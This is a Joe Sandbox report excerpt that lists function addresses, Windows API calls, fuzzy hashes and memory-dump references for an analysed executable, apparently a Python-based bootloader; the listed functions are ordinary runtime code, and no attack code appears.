Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction ID: ec10dbd66422ca27fc0225f291d354a09a4ba7456042b811a98854b9adaadf99
Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
Instruction Fuzzy Hash: 74419622D187C283E768AB2095503B9A3A0FB94794F509335E67C03ED1DF7CA5F187A0

Function 00007FF7FF58CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FF58CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7FF58CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7FF58CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7FF58CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7FF58CD91

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: ca1fae4b14fc585a347e055649a00323b0caa5b68d0e0ecf03e974bd0acde9c5
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: FD313760E096C351FB24BB2594653F9AB92BF41784FC44634D97E4B2D3EE2CA409C2F0

Function 00007FF7FF599AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7FF599A9C), ref: 00007FF7FF599AB1
TerminateProcess.KERNEL32(?,?,?,00007FF7FF599A9C), ref: 00007FF7FF599ABC
ExitProcess.KERNEL32 ref: 00007FF7FF599ACB

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: db12c1a4249d1ec308ab5f48d1858cd141796b67297f7cd5fbbcd5117e5a6e2f
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 29D09E10F097C652EB283F705C990F8A651AF48745F941638C83B073E3ED6CA45943E0

Function 00007FF7FF5901AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5901F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5902E7

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 0951bbb32cb433a8f0e7dd39feeb2b44c16743efb6b602f6ce011d5190385592
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 0451E321B092D286FB7CAA7594006FAE691AF44BA4F984B34DE7C437C5CF3CE40586A0

Function 00007FF7FF59C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7FF59C33D), ref: 00007FF7FF59C1F0
GetLastError.KERNEL32(?,?,?,?,?,00007FF7FF59C33D), ref: 00007FF7FF59C1FA

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction ID: 7c911afd9b13035e3bb5ab13be8b67c065dd9d35f6a1949ead0e784c2689afca
Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
Instruction Fuzzy Hash: 0B11E3A1B18AC281DB24AB25A8441A9E761FB45BF4F944331EE7E4B7E9CF7CD0118790

Function 00007FF7FF59A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9CE
GetLastError.KERNEL32(?,?,?,00007FF7FF5A2D92,?,?,?,00007FF7FF5A2DCF,?,?,00000000,00007FF7FF5A3295,?,?,?,00007FF7FF5A31C7), ref: 00007FF7FF59A9D8

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction ID: 8def72dcd44552952c8c5b4efc295f34883e1e8278225513b2ff387a4d26758e
Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
Instruction Fuzzy Hash: CCE04F10E0968252FF287BF294951B996506F85740B854230C83D832E2DE2C689582F0

Function 00007FF7FF59ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7FF59AA45,?,?,00000000,00007FF7FF59AAFA), ref: 00007FF7FF59AC36
GetLastError.KERNEL32(?,?,?,00007FF7FF59AA45,?,?,00000000,00007FF7FF59AAFA), ref: 00007FF7FF59AC40

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction ID: 71b7341e872857e837700a200d64cfe775ea603b681a6c97d05e0d0b5d33e6f4
Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
Instruction Fuzzy Hash: ED21A411B1C6C241EFB877A194902F9A2829F84790FD84375E93E4B7D2CE6CE44583F0

Function 00007FF7FF59BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BF44

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction ID: 86453121177c381cf5bc730092f354509d3598680ca3531b394511a52951a636
Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
Instruction Fuzzy Hash: CD41D73290868687FB38AB16A5442BDB7A4EB55B44F901331D6BE436D1CF2DE502CBF1

Function 00007FF7FF587F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7FF58802A

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7d2ffc6bbc79ae5a2c74bce1da3196692eb5c07e0d710da80585856a36faa807
Instruction ID: 0ef530b5c66d8333b0de49c4743448113597bf5d41f0ae2a2c35713b507af1c4
Opcode Fuzzy Hash: 7d2ffc6bbc79ae5a2c74bce1da3196692eb5c07e0d710da80585856a36faa807
Instruction Fuzzy Hash: B7219E21B486D285EB64BA2269043FAEA51FF45BD4FC85530EE3D0B7C6CE3DE045C6A4

Function 00007FF7FF59B9AC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59BA32

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction ID: 4db6ddd0342bbc456bf5ac2bef59305e82959790f2699d77c2fcfc09f1e02d68
Opcode Fuzzy Hash: 2d5c35b5412ec9e3d722ee101ab37b91f6ea8aa9dcca92d1d4e84e7f868c2b8f
Instruction Fuzzy Hash: FC319C31A186C695F7697B5588813FCA660AB40B94FC64335E93D033E2CFBCE94187B0

Function 00007FF7FF5999D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FF5999FF

Part of subcall function 00007FF7FF599AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF7FF599B1D
Part of subcall function 00007FF7FF599AF8: GetProcAddress.KERNEL32 ref: 00007FF7FF599B33
Part of subcall function 00007FF7FF599AF8: FreeLibrary.KERNEL32 ref: 00007FF7FF599B5A

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: 77e3f25fc3631df90c6934c1dd0cc6b5953e21149806ae3f2f42af8d86b9aa42
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 23218E72A057828AEB28AF64C4442EC77A5FB44718F841739D63D07AD5DF38D984C7A0

Function 00007FF7FF596004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF595F69

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: ea438a866be39f56569a56d08e4e1f71a6e21f40d625983e6fb0b0e994b4ef63
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 81113062A1868241EB78BF5194002FEE2A4AF45F90FC44231EB7C57AD6DF3DD45187E1

Function 00007FF7FF5A63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF5A63E7

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: ccb0a3abd6f52daee80d05edc2e95a7ced09e41fb20fb9d32e20ce6d93c1a481
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 9221D772608AC286D760AF18D4803B9B6A0FB84F54F944335E6BE876D5DF3CD4118B50

Function 00007FF7FF59042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF590480

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 500166a5650fe92580b8071ade264c7eb2e3d94f3392d6ef0fedb682d5cb0fdf
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 1401A521A08B8141EB28EF6259010A9E695BF86FE0F884B31DE7C57BD6CE3CE4114350

Function 00007FF7FF59D66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7FF590D00,?,?,?,00007FF7FF59236A,?,?,?,?,?,00007FF7FF593B59), ref: 00007FF7FF59D6AA

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 2873f2212832c7c6d3179c13600a18cdd484f53727a6a91f3405df183929c501
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: 67F03415E0D28645FF787A7198516F992904F95BA0F884330997E873D2EE2CA48082B0

Non-executed Functions

Function 00007FF7FF585820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585830
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585842
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585879
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58588B
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858A4
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858B6
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858CF
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858E1
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5858FD
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58590F
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58592B
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58593D
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585959
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF58596B
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585987
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF585999
GetProcAddress.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5859B5
GetLastError.KERNEL32(?,00007FF7FF5864BF,?,00007FF7FF58336E), ref: 00007FF7FF5859C7

Strings

Py_Finalize, xrefs: 00007FF7FF5858C5, 00007FF7FF5858E7
Py_IsInitialized, xrefs: 00007FF7FF585921, 00007FF7FF585943
PyMem_RawFree, xrefs: 00007FF7FF585C8B, 00007FF7FF585CAD
PyUnicode_FromFormat, xrefs: 00007FF7FF585F3D, 00007FF7FF585F5F
PyObject_CallFunctionObjArgs, xrefs: 00007FF7FF585D15, 00007FF7FF585D37
PyUnicode_Decode, xrefs: 00007FF7FF585EE1, 00007FF7FF585F03
Py_DecodeLocale, xrefs: 00007FF7FF58586F, 00007FF7FF585891
PyErr_Restore, xrefs: 00007FF7FF585B77, 00007FF7FF585B99
PyUnicode_DecodeFSDefault, xrefs: 00007FF7FF585F0F, 00007FF7FF585F31
PyEval_EvalCode, xrefs: 00007FF7FF585BA5, 00007FF7FF585BC7
PyMarshal_ReadObjectFromString, xrefs: 00007FF7FF585C5D, 00007FF7FF585C7F
PyErr_NormalizeException, xrefs: 00007FF7FF585AED, 00007FF7FF585B0F
PySys_SetObject, xrefs: 00007FF7FF585E85, 00007FF7FF585EA7
PyConfig_Clear, xrefs: 00007FF7FF58597D, 00007FF7FF58599F
Failed to get address for %hs, xrefs: 00007FF7FF585851
PyErr_Print, xrefs: 00007FF7FF585B49, 00007FF7FF585B6B
PyObject_CallFunction, xrefs: 00007FF7FF585CE7, 00007FF7FF585D09
PyRun_SimpleStringFlags, xrefs: 00007FF7FF585DFB, 00007FF7FF585E1D
PyStatus_Exception, xrefs: 00007FF7FF585E29, 00007FF7FF585E4B
PySys_GetObject, xrefs: 00007FF7FF585E57, 00007FF7FF585E79
PyConfig_SetWideStringList, xrefs: 00007FF7FF585A63, 00007FF7FF585A85
PyUnicode_Join, xrefs: 00007FF7FF585F99, 00007FF7FF585FBB
PyObject_SetAttrString, xrefs: 00007FF7FF585D71, 00007FF7FF585D93
PyErr_Clear, xrefs: 00007FF7FF585A91, 00007FF7FF585AB3
Py_DecRef, xrefs: 00007FF7FF585826, 00007FF7FF585848
PyUnicode_FromString, xrefs: 00007FF7FF585F6B, 00007FF7FF585F8D
PyImport_ImportModule, xrefs: 00007FF7FF585C2F, 00007FF7FF585C51
PyUnicode_AsUTF8, xrefs: 00007FF7FF585EB3, 00007FF7FF585ED5
Py_PreInitialize, xrefs: 00007FF7FF58594F, 00007FF7FF585971
PyConfig_SetBytesString, xrefs: 00007FF7FF585A07, 00007FF7FF585A29
PyErr_Fetch, xrefs: 00007FF7FF585ABF, 00007FF7FF585AE1
PyErr_Occurred, xrefs: 00007FF7FF585B1B, 00007FF7FF585B3D
PyConfig_InitIsolatedConfig, xrefs: 00007FF7FF5859AB, 00007FF7FF5859CD
PyConfig_SetString, xrefs: 00007FF7FF585A35, 00007FF7FF585A57
Py_ExitStatusException, xrefs: 00007FF7FF58589A, 00007FF7FF5858BC
PyModule_GetDict, xrefs: 00007FF7FF585CB9, 00007FF7FF585CDB
PyUnicode_Replace, xrefs: 00007FF7FF585FC7, 00007FF7FF585FE9
PyConfig_Read, xrefs: 00007FF7FF5859D9, 00007FF7FF5859FB
GetProcAddress, xrefs: 00007FF7FF585858
PyObject_Str, xrefs: 00007FF7FF585D9F, 00007FF7FF585DC1
Py_InitializeFromConfig, xrefs: 00007FF7FF5858F3, 00007FF7FF585915
